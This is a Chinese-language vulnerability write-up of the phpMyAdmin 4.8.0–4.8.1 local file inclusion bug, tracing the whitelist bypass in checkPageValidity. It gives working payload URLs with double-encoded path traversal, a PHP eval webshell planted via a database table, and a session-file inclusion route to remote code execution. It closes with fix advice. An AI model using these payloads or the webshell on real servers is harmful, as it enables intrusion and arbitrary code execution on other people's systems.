0x01 了解本地文件包含
LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
0x02 了解远程代码执行
RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
0x03 漏洞影响版本
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
0x04 了解PHPmyadmin
phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻击者可利用该漏洞包含(查看并可能执行)服务器上的文件。
0x05 漏洞起因
index.php,61行
这里的target
可以直接传值输入,我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。
要想成功包含target
,需要满足五个条件:
- 非空
- 是字符串
- 不以
index
开头 - 不在黑名单
target_blacklist
中 - 符合函数
checkPageValidity
的验证
接下来跟进checkPageValidity
函数
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
可以看到,要想使该函数返回true
,包含的文件必须包含在白名单$whitelist
中,
下面是白名单$whitelist
的内容:
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行
所以只要包含其中之一即可。
第一个返回true
的地方,page
参数未做任何修饰,直接验证是否在白名单whitelist
中,无法利用
第二个返回true
的地方,
函数mb_substr说明
函数mb_strpos说明
即判断?
后面的字符串是否满足白名单,那么我们是否可以利用跨路径来包含文件呢?比如xxx.php?/../../../
,(这里的xxx.php
当然指的就是上面提到的白名单$whitelist
的内容),回答是不能的,因为在PHP中会把?
后面的内容作为文件xxx.php
中的参数,因此不能绕过。
第三个返回true
的地方,
与第二处的区别就是多了urldecode
函数,问题就出在这里了。
上面提到的导致不能绕过白名单的原因就是?
的缘故,所以这里用url全编码方式对?
进行编码就可以绕过。
payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini
include $_REQUEST[‘target’];
就变成
include ‘export.php%3f/../../../../../../../../../windows/system.ini'
0x06 利用方式
0x01 利用数据库创建shell
测试发现,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的。
登录phpmyadmin,在test数据库新建一个数据表,字段为一句话木马:
<?php @eval($_GET['s']);?>
保存。
查询生成文件的绝对路径
show variables like '%datadir%';
查看生成的.frm
文件,shell已经成功写入
利用本地文件包含去包含/bin/mysql/data/test/shell.frm
文件即可RCE。
payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm
s
为一句话木马的连接密码,
可以看到,RCE已经成功。
0x02 利用session文件创建shell
执行sql语句,查看session
生成的session文件
执行payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k
,成功执行
0x07 修复建议
- 升级版本;
checkPageValidity
函数返回false
index.php,59
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
0x08 参考文章
- https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
- http://www.hetianlab.com/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614